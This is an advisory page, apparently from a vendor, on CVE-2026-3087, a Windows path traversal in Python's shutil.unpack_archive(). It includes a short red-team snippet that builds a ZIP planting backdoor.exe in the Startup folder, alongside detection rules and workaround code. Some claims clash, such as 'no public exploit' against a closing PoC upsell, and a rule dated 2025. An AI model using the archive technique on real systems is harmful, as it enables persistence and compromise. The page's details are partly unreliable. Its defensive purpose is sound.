CVE-2026-3087
Executive Summary
CVE-2026-3087 is a path traversal vulnerability in Python's shutil.unpack_archive() function, specifically affecting Windows systems. When extracting a ZIP archive containing an absolute Windows path with a drive letter (e.g., C://...), the function fails to properly sanitize the path, allowing the archive to be extracted outside the intended target directory. This behavior is inconsistent with other operating systems (Linux, macOS) where such paths are correctly rejected or handled safely.
The vulnerability has a CVSS v3.1 base score of 8.6 (High) due to its low attack complexity, no privileges required, and potential for high confidentiality, integrity, and availability impact. The attack vector is local, requiring user interaction (e.g., opening a malicious archive). No public exploit code or proof-of-concept is currently available, but the risk is elevated because the vulnerable function is widely used in Python applications for archive extraction.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability resides in Python's standard library (shutil), which is distributed with all Python installations. It is not a third-party package, but it affects any application that uses shutil.unpack_archive() to extract ZIP archives on Windows. Supply chain risk is high because:
- Python is a foundational component in many software stacks.
- Malicious actors could craft ZIP archives that, when processed by vulnerable applications, write files to arbitrary locations (e.g., startup folders, system directories).
- No patch is currently available, making all Python versions on Windows vulnerable.
CVSS Breakdown & Threat Level
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector (AV) | Local (L) | Requires the attacker to provide a malicious archive to the victim. |
| Attack Complexity (AC) | Low (L) | No special conditions; standard ZIP extraction triggers the flaw. |
| Privileges Required (PR) | None (N) | No authentication needed. |
| User Interaction (UI) | Required (R) | Victim must open the archive via shutil.unpack_archive(). |
| Scope (S) | Changed (C) | Vulnerable component (shutil) impacts resources outside its security scope. |
| Confidentiality (C) | High (H) | Attacker can read arbitrary files by extracting to a location they control. |
| Integrity (I) | High (H) | Attacker can overwrite system files or inject malicious code. |
| Availability (A) | High (H) | Overwriting critical files can cause denial of service. |
| Base Score | 8.6 | High |
Threat Level: High – No patch exists, and the attack vector is trivial to exploit on Windows.
Deep Dive & Mechanics
The vulnerability lies in how shutil.unpack_archive() handles ZIP archives with absolute Windows paths. When a ZIP entry contains a path like C://Users/Public/malicious.exe, the function does not strip the drive letter or validate that the path is within the target extraction directory. On Windows, the zipfile module (which shutil.unpack_archive() uses internally) treats such paths as absolute, causing extraction to the specified drive root rather than the intended subdirectory.
Root Cause: The shutil._unpack_zipfile() helper function (or the underlying zipfile.extractall()) does not perform path normalization or drive-letter stripping on Windows. On Linux/macOS, absolute paths like /etc/passwd are correctly rejected because they start with /, but Windows drive letters (e.g., C:) are not handled.
Attack Scenario:
- Attacker crafts a ZIP archive with an entry named
C://Windows/System32/evil.dll. - Victim runs
shutil.unpack_archive('malicious.zip', 'C:/safe/target/'). - The DLL is extracted to
C:\Windows\System32\evil.dllinstead ofC:\safe\target\. - Attacker can then execute the DLL via other means (e.g., scheduled task, service).
Vulnerable vs. Patched Code
Vulnerable Code (Python 3.x, all versions):
import shutil
# No sanitization of archive paths
shutil.unpack_archive('malicious.zip', 'C:/safe/target/')
Patched Code (hypothetical fix):
import shutil
import zipfile
import os
def safe_unpack_archive(filename, extract_dir):
# Normalize and validate paths before extraction
with zipfile.ZipFile(filename, 'r') as zf:
for entry in zf.namelist():
# Strip drive letters on Windows
if os.name == 'nt' and ':' in entry:
entry = entry.split(':', 1)[1].lstrip('/\\')
# Resolve and check path is within extract_dir
full_path = os.path.normpath(os.path.join(extract_dir, entry))
if not full_path.startswith(os.path.normpath(extract_dir)):
raise ValueError("Path traversal detected")
# Proceed with extraction
shutil.unpack_archive(filename, extract_dir)
Key Difference: The patched version normalizes paths, strips drive letters, and validates that the final path is within the target directory.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Environment:
- Windows 10/11 with Python 3.x installed.
- Target directory:
C:\Users\Victim\Downloads\extract\ - Malicious archive:
malicious.zip
Steps:
- Create a malicious ZIP archive with an absolute Windows path:
import zipfile with zipfile.ZipFile('malicious.zip', 'w') as zf: # Entry with absolute path to startup folder zf.writestr('C://Users/Victim/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/backdoor.exe', b'malicious code') - Deliver the archive to the victim (e.g., via email, download).
- Victim runs:
import shutil shutil.unpack_archive('malicious.zip', 'C:/Users/Victim/Downloads/extract/') - The backdoor.exe is written to the startup folder, executing on next login.
Expected Result: File written outside target directory, achieving persistence.
Blue Team (Detection & Defense)
Detection Steps:
- Monitor for
shutil.unpack_archive()calls with user-supplied archives. - Log all file creation events during archive extraction.
- Use Sysmon Event ID 11 (FileCreate) to detect writes to sensitive directories (e.g.,
C:\Windows\System32,C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu).
Defense Measures:
- Implement input validation: reject archives containing absolute paths or
..sequences. - Use a sandboxed extraction library (e.g.,
patoolwith path validation). - Apply Windows AppLocker or WDAC to restrict execution from non-standard paths.
Indicators of Compromise (IOCs)
| Type | Indicator | Description |
|---|---|---|
| File | C://* or C:\* paths in ZIP entries |
Absolute Windows paths in archive |
| Process | python.exe or python3.exe calling shutil.unpack_archive() |
Suspicious extraction activity |
| Network | Outbound connections from extracted files | Potential C2 beaconing |
| Registry | HKCU\Software\Microsoft\Windows\CurrentVersion\Run entries |
Persistence via startup folder |
| Log | Event ID 11 (Sysmon) – file created in C:\Windows\System32 |
Unauthorized system file write |
Detection Engineering
YARA Rule
rule CVE_2026_3087_Windows_Path_Traversal {
meta:
description = "Detect ZIP archives with absolute Windows paths (CVE-2026-3087)"
author = "Valters IT"
date = "2025-04-10"
hash = "unknown"
strings:
$drive_letter = /[A-Za-z]:[\/\\]{2}/ // e.g., C:// or C:\\
$zip_magic = {50 4B 03 04} // ZIP local file header
condition:
$zip_magic at 0 and #drive_letter > 0
}
Sigma Rule
title: CVE-2026-3087 - Path Traversal via shutil.unpack_archive
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects extraction of ZIP archives with absolute Windows paths
author: Valters IT
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 11 # FileCreate
TargetFilename|contains:
- 'C:\Windows\System32'
- 'C:\Users\*\AppData\Roaming\Microsoft\Windows\Start Menu'
condition: selection
falsepositives:
- Legitimate software installers that write to system directories
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-3087 - Potential ZIP Path Traversal Download"; flow:to_client,established; file.name:/\.zip$/i; file.content:"|50 4B 03 04|"; file.content:"/[A-Za-z]:[\/\\]{2}/"; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Avoid using
shutil.unpack_archive()on Windows for untrusted archives. Usezipfile.ZipFilewith manual path validation instead. - Implement input validation – reject archives containing entries with absolute paths or
..sequences. - Use a sandboxed extraction library like
patoolorpyunpackwith path sanitization.
Long-term Fix:
- Monitor Python bug tracker for a patch (expected in Python 3.13+).
- Apply vendor patch when available.
- Consider using
pathlibfor cross-platform path handling.
Workaround Code:
import zipfile
import os
def safe_extract(zip_path, extract_dir):
with zipfile.ZipFile(zip_path, 'r') as zf:
for entry in zf.namelist():
# Normalize path and strip drive letters
if os.name == 'nt' and ':' in entry:
entry = entry.split(':', 1)[1].lstrip('/\\')
full_path = os.path.normpath(os.path.join(extract_dir, entry))
if not full_path.startswith(os.path.normpath(extract_dir)):
raise ValueError("Path traversal detected")
zf.extractall(extract_dir)
Valters IT
Securing Digital Frontiers
{/* [Security Hash: 086745B98E4E12BE717779E3] */}
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.